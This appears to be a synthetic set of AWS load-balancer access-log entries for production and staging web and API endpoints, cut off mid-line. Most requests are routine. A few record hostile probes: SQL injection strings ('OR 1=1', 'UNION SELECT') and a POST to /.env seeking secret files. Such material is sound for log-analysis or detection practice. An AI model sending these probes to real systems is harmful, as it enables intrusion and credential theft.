"Root=1-6723def8-58e89bd3e2c14c368c1ddeeb" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:08.789286Z "forward" "-" "-" "10.0.185.163:443" "302" "-" "-" +https 2024-11-01T02:48:09.691074Z prod-web-alb 8.240.194.204:24370 10.0.92.5:443 0.090088 0.494332 0.096814 200 200 189 2573 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723def9-72ef002675f845d9bb800152" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:09.691074Z "forward" "-" "-" "10.0.92.5:443" "200" "-" "-" +https 2024-11-01T02:48:09.961756Z prod-api-alb 12.90.6.226:42842 10.0.33.148:443 0.097889 0.480561 0.025912 200 200 919 10007 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723def9-2a41b3b0320b4cc98cde34c1" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:09.961756Z "forward" "-" "-" "10.0.33.148:443" "200" "-" "-" +https 2024-11-01T02:48:11.803725Z prod-web-alb 57.139.115.189:26899 10.0.186.217:443 0.086842 0.327817 0.053284 200 200 114 8932 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723defb-43c3ddef835b43168ef36269" "prod-web-alb.example.com" "-" 10 2024-11-01T02:48:11.803725Z "forward" "-" "-" "10.0.186.217:443" "200" "-" "-" +https 2024-11-01T02:48:12.258060Z prod-api-alb 155.27.74.189:24421 10.0.130.174:443 0.024118 0.152431 0.030488 302 302 652 7723 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723defc-e102e0ac37b647e09ef2e8e3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:48:12.258060Z "forward" "-" "-" "10.0.130.174:443" "302" "-" "-" +https 2024-11-01T02:48:12.736139Z prod-web-alb 135.51.233.255:23551 10.0.30.233:443 0.047557 0.105980 0.005632 301 301 108 7734 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723defc-c4e02b9dc8bd47b5a29eb383" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:12.736139Z "forward" "-" "-" "10.0.30.233:443" "301" "-" "-" +https 2024-11-01T02:48:14.068079Z prod-api-alb 83.160.174.76:42604 10.0.83.137:443 0.078935 0.061190 0.029739 301 301 775 6944 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723defe-60b3f3954dee405692828522" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:14.068079Z "forward" "-" "-" "10.0.83.137:443" "301" "-" "-" +https 2024-11-01T02:48:14.366889Z staging-alb 22.40.153.151:39439 118.128.12.58:80 0.008906 0.698027 0.089108 404 404 176 8620 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723defe-47ba5fbbb248418f997925e3" "staging-alb.example.com" "-" 7 2024-11-01T02:48:14.366889Z "forward" "-" "-" "118.128.12.58:80" "404" "-" "-" +https 2024-11-01T02:48:15.900500Z prod-api-alb 55.1.225.24:18011 10.0.135.61:443 0.041554 0.376048 0.091087 200 200 622 7356 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723deff-57a6f9e25a354e5e8394f819" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:15.900500Z "forward" "-" "-" "10.0.135.61:443" "200" "-" "-" +http 2024-11-01T02:48:17.541499Z staging-alb 193.27.228.17:24824 162.152.224.240:8080 0.070423 0.228244 0.037731 403 403 644 11532 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df01-7e8891d244a1453e8c4d1399" "-" "-" 6 2024-11-01T02:48:17.541499Z "forward" "-" "-" "162.152.224.240:8080" "403" "-" "-" +https 2024-11-01T02:48:18.913116Z prod-web-alb 74.171.249.123:45123 10.0.161.160:443 0.092801 0.234458 0.028818 200 200 106 10584 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df02-320e6b99e563425585ad82bd" "prod-web-alb.example.com" "-" 8 2024-11-01T02:48:18.913116Z "forward" "-" "-" "10.0.161.160:443" "200" "-" "-" +https 2024-11-01T02:48:20.569105Z staging-alb 35.214.203.3:22870 114.157.165.55:8080 0.105540 0.693977 0.118233 404 404 413 9236 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df04-b904bb17ebf24543a7415ecf" "staging-alb.example.com" "-" 7 2024-11-01T02:48:20.569105Z "forward" "-" "-" "114.157.165.55:8080" "404" "-" "-" +https 2024-11-01T02:48:21.141399Z prod-web-alb 193.27.228.22:44178 10.0.27.231:443 0.016622 0.170906 0.005408 200 200 629 10180 "POST /search?q=1' UNION SELECT HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df05-4d4649cd2908418b834eb2a6" "-" "-" 9 2024-11-01T02:48:21.141399Z "forward" "-" "-" "10.0.27.231:443" "200" "-" "-" +https 2024-11-01T02:48:22.369303Z prod-api-alb 87.209.178.79:55096 10.0.41.133:443 0.040919 0.398427 0.003654 200 200 298 14166 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df06-f0d6eab57a5b45ad8a4bbdda" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:22.369303Z "forward" "-" "-" "10.0.41.133:443" "200" "-" "-" +http 2024-11-01T02:48:24.290334Z staging-alb 21.150.214.110:57213 19.6.50.8:8080 0.036170 0.179404 0.035731 302 302 284 12877 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df08-6323a21aeb9346aea53d305f" "staging-alb.example.com" "-" 8 2024-11-01T02:48:24.290334Z "forward" "-" "-" "19.6.50.8:8080" "302" "-" "-" +http 2024-11-01T02:48:26.281305Z staging-alb 124.151.186.238:48964 190.99.73.207:80 0.120889 0.180871 0.006242 301 301 57 4522 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df0a-a4abd7113c5240e0ae7f95f0" "staging-alb.example.com" "-" 6 2024-11-01T02:48:26.281305Z "forward" "-" "-" "190.99.73.207:80" "301" "-" "-" +https 2024-11-01T02:48:26.814469Z prod-api-alb 71.101.111.60:58931 10.0.129.53:443 0.011127 0.478239 0.038224 301 301 821 9250 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df0a-22d06b10d5fd4f1f9a500d11" "prod-api-alb.example.com" "-" 2 2024-11-01T02:48:26.814469Z "forward" "-" "-" "10.0.129.53:443" "301" "-" "-" +https 2024-11-01T02:48:28.269967Z prod-api-alb 162.85.83.121:59733 10.0.80.22:443 0.073640 0.358347 0.072324 302 302 376 10660 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df0c-0ada5433aeaf41d4b1919986" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:28.269967Z "forward" "-" "-" "10.0.80.22:443" "302" "-" "-" +https 2024-11-01T02:48:29.930814Z prod-web-alb 114.161.130.52:34403 10.0.218.200:443 0.081464 0.139049 0.042013 404 404 463 11453 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df0d-8925b0eb0c784f3884ef9e6a" "prod-web-alb.example.com" "-" 4 2024-11-01T02:48:29.930814Z "forward" "-" "-" "10.0.218.200:443" "404" "-" "-" +http 2024-11-01T02:48:31.824187Z staging-alb 210.46.243.135:55709 35.189.101.138:8080 0.066117 0.653675 0.084931 200 200 844 2934 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df0f-8fe6efe35cce4256bea9ee13" "staging-alb.example.com" "-" 10 2024-11-01T02:48:31.824187Z "forward" "-" "-" "35.189.101.138:8080" "200" "-" "-" +https 2024-11-01T02:48:32.034728Z prod-api-alb 128.22.46.205:24050 10.0.183.203:443 0.098819 0.272854 0.085685 302 302 808 3472 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df10-c35f45dfc7314bdd86a5a49e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:48:32.034728Z "forward" "-" "-" "10.0.183.203:443" "302" "-" "-" +https 2024-11-01T02:48:33.413495Z prod-api-alb 245.209.131.179:16024 10.0.149.122:443 0.043073 0.120777 0.094361 200 200 913 8053 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df11-70d2e4c4387041b78ff32981" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:33.413495Z "forward" "-" "-" "10.0.149.122:443" "200" "-" "-" +http 2024-11-01T02:48:33.765691Z staging-alb 238.185.146.23:54307 61.23.125.184:80 0.130322 0.234214 0.099747 200 200 729 14537 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df11-bfb6ba7deb7e40a4ada35087" "staging-alb.example.com" "-" 1 2024-11-01T02:48:33.765691Z "forward" "-" "-" "61.23.125.184:80" "200" "-" "-" +https 2024-11-01T02:48:35.349010Z prod-api-alb 122.113.246.45:22745 10.0.235.101:443 0.045516 0.430898 0.080703 404 404 556 12632 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df13-c3c4ba7571e142108d15abe8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:35.349010Z "forward" "-" "-" "10.0.235.101:443" "404" "-" "-" +https 2024-11-01T02:48:36.560264Z prod-api-alb 39.125.41.76:21926 10.0.228.241:443 0.023497 0.117038 0.089111 404 404 66 2139 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df14-93aa3b347f054d67bc3605e1" "prod-api-alb.example.com" "-" 5 2024-11-01T02:48:36.560264Z "forward" "-" "-" "10.0.228.241:443" "404" "-" "-" +https 2024-11-01T02:48:37.871124Z staging-alb 176.204.35.109:62626 126.25.254.95:443 0.019701 0.444291 0.035592 302 302 460 3608 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df15-8b7f849dcdfc44498ffdc15d" "staging-alb.example.com" "-" 10 2024-11-01T02:48:37.871124Z "forward" "-" "-" "126.25.254.95:443" "302" "-" "-" +https 2024-11-01T02:48:38.191048Z prod-api-alb 176.21.170.245:21378 10.0.119.187:443 0.049761 0.404854 0.070232 200 200 823 5697 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df16-f702ef62dd2344feba02a7ef" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:38.191048Z "forward" "-" "-" "10.0.119.187:443" "200" "-" "-" +https 2024-11-01T02:48:38.410162Z prod-api-alb 45.47.233.31:28171 10.0.185.141:443 0.058834 0.467358 0.079475 301 301 434 10313 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df16-6ac3934a7ab943e4adbe6efa" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:38.410162Z "forward" "-" "-" "10.0.185.141:443" "301" "-" "-" +https 2024-11-01T02:48:38.929382Z prod-web-alb 7.144.226.82:43211 10.0.194.237:443 0.096694 0.283985 0.094651 301 301 773 11458 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df16-fad44321cf604dd494507e4f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:48:38.929382Z "forward" "-" "-" "10.0.194.237:443" "301" "-" "-" +https 2024-11-01T02:48:39.141822Z prod-api-alb 168.88.35.183:16053 10.0.175.156:443 0.029317 0.227443 0.036648 200 200 192 1947 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df17-0979a17b9b1348789dfada05" "prod-api-alb.example.com" "-" 10 2024-11-01T02:48:39.141822Z "forward" "-" "-" "10.0.175.156:443" "200" "-" "-" +https 2024-11-01T02:48:39.261375Z prod-api-alb 113.0.195.156:46593 10.0.150.194:443 0.013898 0.434741 0.053434 200 200 870 5143 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df17-0fa92217baff490fb6e156c8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:48:39.261375Z "forward" "-" "-" "10.0.150.194:443" "200" "-" "-" +https 2024-11-01T02:48:41.210307Z prod-web-alb 88.12.188.237:24271 10.0.110.11:443 0.089917 0.180269 0.055785 200 200 581 9564 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df19-53906e2fabcc4cf48ee7bf83" "-" "-" 9 2024-11-01T02:48:41.210307Z "forward" "-" "-" "10.0.110.11:443" "200" "-" "-" +https 2024-11-01T02:48:42.102489Z prod-api-alb 170.169.167.17:20177 10.0.72.51:443 0.080679 0.340040 0.076048 200 200 200 10874 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df1a-8bb574834e1c4d5d98a77f43" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:42.102489Z "forward" "-" "-" "10.0.72.51:443" "200" "-" "-" +https 2024-11-01T02:48:42.655885Z staging-alb 86.199.76.124:24930 45.247.169.74:80 0.003284 0.061702 0.031838 404 404 62 8070 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df1a-dde972da87334b9594b5c2df" "staging-alb.example.com" "-" 1 2024-11-01T02:48:42.655885Z "forward" "-" "-" "45.247.169.74:80" "404" "-" "-" +https 2024-11-01T02:48:44.494625Z prod-web-alb 99.161.239.84:12402 10.0.167.242:443 0.093496 0.054212 0.009901 200 200 408 5822 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df1c-d8da756dd3374ef39a96e4cd" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:44.494625Z "forward" "-" "-" "10.0.167.242:443" "200" "-" "-" +https 2024-11-01T02:48:45.229124Z prod-api-alb 146.39.85.31:14360 10.0.101.248:443 0.067459 0.467204 0.090294 200 200 378 10567 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df1d-a54087e0d5414510abfde6fa" "prod-api-alb.example.com" "-" 7 2024-11-01T02:48:45.229124Z "forward" "-" "-" "10.0.101.248:443" "200" "-" "-" +https 2024-11-01T02:48:46.283608Z prod-api-alb 198.91.168.215:12869 10.0.60.150:443 0.050306 0.059403 0.043406 301 301 274 12951 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df1e-f84e8296b16e48a6bc61f550" "prod-api-alb.example.com" "-" 9 2024-11-01T02:48:46.283608Z "forward" "-" "-" "10.0.60.150:443" "301" "-" "-" +https 2024-11-01T02:48:47.235459Z prod-web-alb 21.35.143.9:63504 10.0.60.12:443 0.027932 0.185645 0.013391 200 200 576 7737 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df1f-a742358c3e304fd184f27588" "prod-web-alb.example.com" "-" 2 2024-11-01T02:48:47.235459Z "forward" "-" "-" "10.0.60.12:443" "200" "-" "-" +https 2024-11-01T02:48:48.000984Z prod-web-alb 138.179.223.166:17692 10.0.6.149:443 0.015314 0.309910 0.086202 301 301 85 10596 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df20-6e9563695e594ecb821ad8bb" "prod-web-alb.example.com" "-" 2 2024-11-01T02:48:48.000984Z "forward" "-" "-" "10.0.6.149:443" "301" "-" "-" +https 2024-11-01T02:48:50.000856Z prod-api-alb 86.70.170.241:26281 10.0.96.118:443 0.041557 0.017849 0.036398 200 200 277 4801 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df22-dfb9ef1733fd46d8b4120cd0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:48:50.000856Z "forward" "-" "-" "10.0.96.118:443" "200" "-" "-" +https 2024-11-01T02:48:51.726040Z prod-api-alb 45.155.205.233:10986 10.0.115.25:443 0.045307 0.018691 0.027708 302 302 996 13222 "POST /.env HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df23-8028842495ba4e10979f5d63" "-" "-" 3 2024-11-01T02:48:51.726040Z "forward" "-" "-" "10.0.115.25:443" "302" "-" "-" +https 2024-11-01T02:48:53.241261Z prod-api-alb 249.185.58.230:60940 10.0.159.249:443 0.069795 0.290667 0.034639 200 200 396 4184 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df25-7d8aa55ab8df44508777f2bc" "prod-api-alb.example.com" "-" 9 2024-11-01T02:48:53.241261Z "forward" "-" "-" "10.0.159.249:443" "200" "-" "-" +http 2024-11-01T02:48:55.035944Z staging-alb 247.198.106.116:32501 134.232.228.31:8080 0.130865 0.209426 0.043232 301 301 665 2118 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df27-f490c27aaf494e6abe3de91f" "staging-alb.example.com" "-" 1 2024-11-01T02:48:55.035944Z "forward" "-" "-" "134.232.228.31:8080" "301" "-" "-" +https 2024-11-01T02:48:56.049943Z prod-web-alb 102.239.240.138:61155 10.0.241.100:443 0.000615 0.071241 0.037231 301 301 793 10599 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df28-1fef613b73e14994a9b2d96f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:48:56.049943Z "forward" "-" "-" "10.0.241.100:443" "301" "-" "-" +https 2024-11-01T02:48:56.317115Z prod-api-alb 228.76.34.247:52636 10.0.136.94:443 0.052060 0.418424 0.005175 404 404 721 11658 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df28-c420590cfbd84c95aec03635" "prod-api-alb.example.com" "-" 2 2024-11-01T02:48:56.317115Z "forward" "-" "-" "10.0.136.94:443" "404" "-" "-" +https 2024-11-01T02:48:57.638412Z prod-web-alb 131.176.198.29:43956 10.0.199.204:443 0.047223 0.206164 0.005324 200 200 920 4034 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df29-467cebd2834448dca6e641a5" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:57.638412Z "forward" "-" "-" "10.0.199.204:443" "200" "-" "-" +https 2024-11-01T02:48:59.295066Z prod-api-alb 180.64.79.104:22690 10.0.86.193:443 0.076121 0.218844 0.042592 200 200 717 10130 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df2b-e435530573bd453dacba2d6b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:59.295066Z "forward" "-" "-" "10.0.86.193:443" "200" "-" "-" +https 2024-11-01T02:49:00.519614Z prod-web-alb 219.129.58.162:63681 10.0.243.205:443 0.023822 0.194648 0.001169 301 301 436 7304 "GET /cart 